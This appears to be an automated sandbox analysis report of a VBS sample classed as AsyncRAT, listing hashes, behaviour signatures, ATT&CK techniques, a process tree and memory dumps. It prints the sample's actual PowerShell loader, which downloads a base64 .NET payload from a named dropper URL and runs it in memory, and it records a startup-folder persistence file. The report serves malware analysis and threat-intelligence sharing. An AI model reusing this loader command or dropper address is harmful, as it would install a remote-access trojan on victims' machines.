asyncrat | c410684799d2bc68f9f06e206381e7f1fc6336642df8d48346a9b3357ada7db4

General

Target

518a1bd0764ca25fcf36d8a55bf2ebd9.vbs
Size

238KB
MD5

518a1bd0764ca25fcf36d8a55bf2ebd9
SHA1

d6e490cdf33972c115a035631a3db91e527b0ef3
SHA256

c410684799d2bc68f9f06e206381e7f1fc6336642df8d48346a9b3357ada7db4
SHA512

b746019d51c04f97c75bbbe6ae65a74521120cb73aefee0a306c09088b2b1905d25f78c5b7e220962c2c34d11dd8bff082fef8056557acdb404e577dfcf0613b
SSDEEP

48:sK0mjzlXJj5NzzBWsoMtssbs0Qs+PM/d9Z9s3XEHDzzAA:sKDF9n0JMtswebEjAsDoA

Score

10^/10

asyncrat rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://contadoreshbc.com/dll_startup

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/1844-138-0x000000000041472E-mapping.dmp	asyncrat
behavioral2/memory/1844-137-0x0000000000400000-0x000000000041A000-memory.dmp	asyncrat

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

5 5024 powershell.exe
9 5024 powershell.exe
15 5024 powershell.exe
17 5024 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation WScript.exe
Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 5024 set thread context of 1844 5024 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

5024 powershell.exe
5024 powershell.exe
2332 powershell.exe
2332 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 5024 powershell.exe
Token: SeDebugPrivilege 2332 powershell.exe

flow	pid	process
5	5024	powershell.exe
9	5024	powershell.exe
15	5024	powershell.exe
17	5024	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	WScript.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk	powershell.exe

description	pid	process	target process
PID 5024 set thread context of 1844	5024	powershell.exe	RegAsm.exe

pid	process
5024	powershell.exe
5024	powershell.exe
2332	powershell.exe
2332	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5024	powershell.exe
Token: SeDebugPrivilege	2332	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 4992 wrote to memory of 5024	4992	WScript.exe	powershell.exe
PID 4992 wrote to memory of 5024	4992	WScript.exe	powershell.exe
PID 5024 wrote to memory of 2332	5024	powershell.exe	powershell.exe
PID 5024 wrote to memory of 2332	5024	powershell.exe	powershell.exe
PID 5024 wrote to memory of 1844	5024	powershell.exe	RegAsm.exe
PID 5024 wrote to memory of 1844	5024	powershell.exe	RegAsm.exe
PID 5024 wrote to memory of 1844	5024	powershell.exe	RegAsm.exe
PID 5024 wrote to memory of 1844	5024	powershell.exe	RegAsm.exe
PID 5024 wrote to memory of 1844	5024	powershell.exe	RegAsm.exe
PID 5024 wrote to memory of 1844	5024	powershell.exe	RegAsm.exe
PID 5024 wrote to memory of 1844	5024	powershell.exe	RegAsm.exe
PID 5024 wrote to memory of 1844	5024	powershell.exe	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\518a1bd0764ca25fcf36d8a55bf2ebd9.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4992

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('https://contadoreshbc.com/dll_startup'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('1=rev&a=psid?txt.4abeurp/esacfeirB/moc.sotercnocmc@aretrac/emoh/moc.sotercnocmc.liam//:sptth'))
2⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5024

C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Done.vbs
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2332

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:1844

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
af1cb166ef60425f7f761c7e2a56271c

SHA1
3d24a690ddbe7f2c099aa54198b1af5a0a0fa429

SHA256
b5f5944d0252a0dad2c96e9f46799557f59855169cb1693dc40f1fdfd524bb4f

SHA512
39f8eea604c85b92b98775fd85db519941c7a4c5cc2f1ae4228048a3f1963765d813e79b6ea354a329ad0c220dd1c7d68898affbfcad5d47a5d4a95de86217ce

Download Submit
memory/1844-138-0x000000000041472E-mapping.dmp

Download
memory/1844-137-0x0000000000400000-0x000000000041A000-memory.dmp

Filesize
104KB

Download
memory/2332-135-0x0000000000000000-mapping.dmp

Download
memory/2332-136-0x00007FFE98780000-0x00007FFE99241000-memory.dmp

Filesize
10.8MB

Download
memory/5024-132-0x0000000000000000-mapping.dmp

Download
memory/5024-133-0x0000019E7A4C0000-0x0000019E7A4E2000-memory.dmp

Filesize
136KB

Download
memory/5024-134-0x00007FFE98780000-0x00007FFE99241000-memory.dmp

Filesize
10.8MB

Download
memory/5024-141-0x00007FFE98780000-0x00007FFE99241000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing